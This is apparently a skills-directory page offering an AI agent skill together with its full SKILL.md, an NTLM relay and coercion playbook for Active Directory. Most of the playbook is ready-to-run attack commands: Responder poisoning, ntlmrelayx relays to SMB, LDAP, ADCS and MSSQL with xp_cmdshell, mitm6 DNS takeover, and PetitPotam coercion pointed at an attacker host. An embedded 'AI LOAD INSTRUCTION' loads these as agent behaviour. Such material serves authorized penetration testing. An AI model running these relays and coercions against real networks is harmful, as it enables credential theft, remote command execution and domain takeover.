Skip to main content
skill CX Codex

ntlm-relay-coercion — Claude Code skill: NTLM relay and coercion

A playbook for capturing and relaying NTLM authentication to SMB, LDAP, HTTP and MSSQL targets, with PetitPotam, PrinterBug and other coercion methods.

Install into Claude Code · Skills CLI (Vercel) All methods and platforms ↓
npx skills add yaklang/hack-skills --skill ntlm-relay-coercion -a claude-code
Open on GitHub

What ntlm-relay-coercion does

The skill walks through capturing NTLM authentication and forwarding it to another host to land a session. It starts with the relay diagram — victim, attacker, target — then compares NTLMv1 and NTLMv2 and lays out a target matrix noting where signing and channel binding apply.

Separate sections cover Responder for LLMNR, NBT-NS, WPAD and mDNS poisoning, ntlmrelayx for relaying to SMB, LDAP, ADCS and MSSQL, and mitm6 for IPv6 DNS takeover. Cross-protocol relay gets its own treatment: SMB to LDAP and WebDAV to LDAP. To find viable targets the skill uses crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt and nmap -p 445 --script smb2-security-mode TARGET_RANGE.

Signing is where most attempts die. SMB relay to domain controllers fails by default because signing is required there. LDAPS enforces channel binding, and WebDAV coercion only works when the WebClient service is running on the workstation. Check the target's configuration before firing off a relay.

What it helps with

  • capture NTLM hashes by poisoning LLMNR and NBT-NS
  • relay authentication to LDAP and modify ACLs
  • run a command on a host through SMB relay
  • enroll a domain controller certificate via ESC8
  • trigger victim authentication with coercion methods

Example prompts for the agent

  • Find hosts in the subnet that don't require SMB signing and build a relay target list
  • Show me how to chain PetitPotam with ntlmrelayx to relay into LDAP
  • How do I set up WebDAV coercion when the WebClient service is running on the workstation?

How to install ntlm-relay-coercion

1Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill ntlm-relay-coercion -a claude-code

2Manually: put the files in place

~/.claude/skills/ntlm-relay-coercion/SKILL.md

Copy the whole skill folder; for one project use .claude/skills/ntlm-relay-coercion/

Step by step, with commands for each platform: How to install skills in Claude Code: five ways

Questions about ntlm-relay-coercion

How do I install ntlm-relay-coercion in Claude?

Run npx skills add yaklang/hack-skills --skill ntlm-relay-coercion -a claude-code. The skill lands at ~/.claude/skills/ntlm-relay-coercion/SKILL.md.

What does ntlm-relay-coercion do?

It is a playbook for relaying NTLM authentication to SMB, LDAP, HTTP and MSSQL, and for coercion methods such as PetitPotam and PrinterBug. It spells out the signing and channel binding requirements that block many relay attempts.

Why does SMB relay to a domain controller fail?

Domain controllers require SMB signing by default, so relay to them does not go through. LDAP does not require signing by default, but LDAPS uses channel binding.

Source text

SKILL.md · MIT
---
name: ntlm-relay-coercion
description: >-
  NTLM relay and authentication coercion playbook. Use when capturing and relaying NTLM authentication to escalate privileges via SMB, LDAP, HTTP, or MSSQL relay targets, combined with PetitPotam, PrinterBug, and other coercion methods.
---

# SKILL: NTLM Relay and Authentication Coercion — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert NTLM relay and coercion techniques. Covers relay to SMB/LDAP/HTTP/MSSQL, signing requirements, Responder poisoning, mitm6, cross-protocol relay, WebDAV coercion, and all major coercion methods. Base models miss signing/EPA requirements and cross-protocol relay constraints.

## 0. RELATED ROUTING

Before going deep, consider loading:

- [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for ESC8 (relay to ADCS enrollment)
- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL modification via LDAP relay (RBCD, shadow creds)
- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos attacks after relay success
- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) for post-relay lateral movement

### Advanced Reference

Also load [COERCION_METHODS.md](./COERCION_METHODS.md) when you need:
- Detailed coercion method comparison (PetitPotam, PrinterBug, DFSCoerce, etc.)
- RPC function-level details and prerequisites
- Coercer tool usage and discovery

---

## 1. NTLM RELAY FUNDAMENTALS

```
Victim          Attacker (relay)         Target
  │                 │                      │
  │── NTLM Auth ──→│                      │  (1) Victim authenticates (coerced/poisoned)
  │                 │── Forward Auth ─────→│  (2) Attacker relays to target
  │                 │←─ Challenge ──────── │  (3) Target sends challenge
  │←─ Challenge ────│                      │  (4) Attacker forwards challenge to victim
  │── Response ────→│                      │  (5) Victim computes response
  │                 │── Forward Response ─→│  (6) Attacker relays response to target
  │                 │←─ Authenticated! ────│  (7) Target accepts → attacker has session
```

### NTLMv1 vs NTLMv2

| Feature | NTLMv1 | NTLMv2 |
|---|---|---|
| Security | Weak (crackable to NTLM hash) | Stronger (but still relayable) |
| Relay | Yes | Yes |
| Crack to hash | Yes (rainbow tables, crack.sh) | Offline brute-force only |
| Downgrade | Force via Responder `--lm` | Default in modern Windows |

---

## 2. RELAY TARGET MATRIX

| Target Protocol | What You Get | Signing Required by Default? | EPA/Channel Binding? |
|---|---|---|---|
| **SMB** | Command exec (if admin), file access | **DCs: Yes**, Workstations: No | No |
| **LDAP** | ACL modification, RBCD, shadow creds, add computer | **DCs: No** (negotiated) | No (unless configured) |
| **LDAPS** | Same as LDAP but encrypted | N/A | **Yes** (channel binding) |
| **HTTP (ADCS)** | Certificate enrollment (ESC8) | No | Depends on config |
| **MSSQL** | SQL queries, xp_cmdshell | No | No |
| **IMAP/SMTP** | Email access | No | No |
| **RPC** | Various (CA enrollment for ESC11) | Depends | No |

### Signing Check

```bash
# Check SMB signing on target
crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt
# Outputs hosts WITHOUT required SMB signing

# Nmap SMB signing check
nmap -p 445 --script smb2-security-mode TARGET_RANGE
```

---

## 3. RESPONDER — CREDENTIAL CAPTURE

### LLMNR/NBT-NS/WPAD/mDNS Poisoning

```bash
# Start Responder (capture mode — don't relay, just capture hashes)
responder -I eth0 -dwP

# Analyze mode (passive, no poisoning)
responder -I eth0 -A

# Key protocols poisoned:
# LLMNR (UDP 5355) — Link-Local Multicast Name Resolution
# NBT-NS (UDP 137)  — NetBIOS Name Service
# WPAD              — Web Proxy Auto-Discovery (proxy config)
# mDNS (UDP 5353)   — Multicast DNS
```

### Responder + Relay (Don't Capture, Relay Instead)

```bash
# Disable HTTP and SMB servers in Responder (ntlmrelayx will handle them)
# Edit /etc/responder/Responder.conf: set HTTP and SMB to Off

# Start Responder for poisoning only
responder -I eth0 -dwP

# Start ntlmrelayx for relay
ntlmrelayx.py -tf targets.txt -smb2support
```

---

## 4. NTLMRELAYX — RELAY EXECUTION

### Relay to SMB (Admin Execution)

```bash
# Execute command on targets (requires admin privs on target)
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# Dump SAM hashes
ntlmrelayx.py -tf targets.txt -smb2support

# Interactive SOCKS proxy (maintain sessions)
ntlmrelayx.py -tf targets.txt -smb2support -socks
# Then: proxychains smbclient //TARGET/C$ -U DOMAIN/user
```

### Relay to LDAP (ACL Modification)

```bash
# Automatic RBCD (delegate-access)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Escalate via shadow credentials
ntlmrelayx.py -t ldap://DC_IP --shadow-credentials -smb2support

# Add computer account
ntlmrelayx.py -t ldap://DC_IP --add-computer FAKE01 P@ss123 -smb2support

# Dump domain info
ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-domain
```

### Relay to ADCS HTTP (ESC8)

```bash
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController

# Use with coercion to relay DC auth → get DC certificate
```

### Relay to MSSQL

```bash
ntlmrelayx.py -t mssql://SQL_HOST -smb2support -q "SELECT system_user; EXEC xp_cmdshell 'whoami'"
```

---

## 5. MITM6 — IPv6 DNS TAKEOVER

```bash
# mitm6 exploits IPv6 auto-configuration to become DNS server
mitm6 -d domain.com

# Combined with ntlmrelayx
ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support

# Flow:
# 1. mitm6 sends DHCPv6 replies → victim gets attacker as IPv6 DNS
# 2. Victim queries WPAD → attacker responds
# 3. NTLM auth triggered → relayed to LDAP
# 4. RBCD or shadow credentials set on victim computer
```

---

## 6. CROSS-PROTOCOL RELAY

### SMB → LDAP

Capture SMB authentication, relay to LDAP (requires no LDAP signing enforcement).

```bash
# Coerce SMB auth from DC, relay to LDAP on same or different DC
ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support

# Trigger coercion (attacker receives SMB auth)
PetitPotam.py ATTACKER_IP DC01_IP
```

**Limitation**: SMB → LDAP relay fails if the source uses SMB signing negotiation that indicates relay.

### WebDAV → LDAP

WebDAV from workstations sends NTLM over HTTP → relay to LDAP (no signing issues).

```bash
# WebDAV coercion sends HTTP-based NTLM (no SMB signing concern)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Coerce via WebDAV (workstation must have WebClient service running)
# Use @ATTACKER_PORT format to force WebDAV
PetitPotam.py ATTACKER@80/test WORKSTATION_IP
```

---

## 7. WEBDAV-BASED COERCION

WebClient service (WebDAV) converts SMB-type coercion to HTTP-based NTLM.

```bash
# Check if WebClient is running (port 80 listener or service query)
crackmapexec smb TARGET -u user -p pass -M webdav

# Start WebDAV coercion (from workstation, not server)
# Force target to authenticate via HTTP:
# Use UNC path format: \\ATTACKER@PORT\share
```

**Key advantage**: HTTP-based NTLM avoids SMB signing requirements.

---

## 8. NTLM RELAY DECISION TREE

```
Want to relay NTLM authentication
│
├── What auth can you capture?
│   ├── Responder poisoning (passive, wait for queries)
│   ├── mitm6 (DHCPv6 DNS takeover, periodic)
│   └── Active coercion → load COERCION_METHODS.md
│
├── What target to relay to?
│   │
│   ├── Need code execution?
│   │   ├── SMB target without signing → ntlmrelayx to SMB (§4)
│   │   └── MSSQL target → ntlmrelayx to MSSQL + xp_cmdshell (§4)
│   │
│   ├── Need domain escalation?
│   │   ├── LDAP signing not enforced?
│   │   │   ├── Relay to LDAP → RBCD (§4)
│   │   │   ├── Relay to LDAP → shadow credentials (§4)
│   │   │   └── Relay to LDAP → add computer + delegate (§4)
│   │   └── LDAP signing enforced?
│   │       └── Relay to ADCS HTTP (ESC8) → certificate (§4)
│   │
│   └── Need certificate?
│       └── Relay to ADCS HTTP/RPC → ESC8/ESC11 (§4)
│
├── Source is SMB-based?
│   ├── Target is SMB → check signing (§2)
│   ├── Target is LDAP → may work (cross-protocol, §6)
│   └── Target is HTTP → works (cross-protocol)
│
├── Source is HTTP-based (WebDAV)?
│   └── Relay to any target (no signing issues, §6/§7)
│
└── Relay fails?
    ├── Check signing requirements (§2)
    ├── Check EPA/channel binding
    ├── Try cross-protocol (SMB → LDAP)
    └── Try WebDAV coercion (avoids SMB signing)
```

© yaklang · MIT · yaklang/hack-skills

Similar skills

Everything for Security →

From the same set93

cmdi-command-injection This skill helps find command injection where user input reaches shells, process execution, converters, import pipelines, or blind OOB sinks. CX Codex +1 3,700installs anti-debugging-techniques Anti-debugging detection and bypass playbook for protected Linux and Windows binaries. Helps reverse engineers handle ptrace, PEB flags, execution timing checks, and thread hiding. CX Codex +1 3,700installs macos-process-injection A macOS process injection playbook covering dylib hijacking, DYLD preload tricks, and XPC PID reuse attacks. Built for security auditing and binary analysis. CX Codex +1 3,500installs nosql-injection A skill for testing NoSQL injection in MongoDB, CouchDB, and Redis. Use it to inspect APIs, flexible filters, and authentication logic. CX Codex +1 3,500installs macos-security-bypass A playbook for bypassing TCC, Gatekeeper, SIP and the sandbox on macOS. Built for authorized pentests and red team work. CX Codex +1 3,500installs symmetric-cipher-attacks A playbook for attacking symmetric encryption: CBC padding oracle, ECB cut-and-paste, stream cipher key reuse. Built for CTFs and authorized testing. CX Codex +1 3,500installs windows-lateral-movement A playbook for moving between Windows hosts with PsExec, WMI, WinRM, DCOM, RDP, pass-the-hash and pass-the-ticket. Useful once you already hold one machine. CX Codex +1 3,500installs rsa-attack-techniques Selects RSA cryptanalysis methods for weak keys or small exponents. Useful for CTF challenges and cryptographic security reviews. CX Codex +1 3,500installs

Project sponsors

Companies that keep this analytics open
Gold sponsor

Impressions, clicks and code copies — open statistics. We keep the numbers public for the same reason NeBlask itself is public. Become a sponsor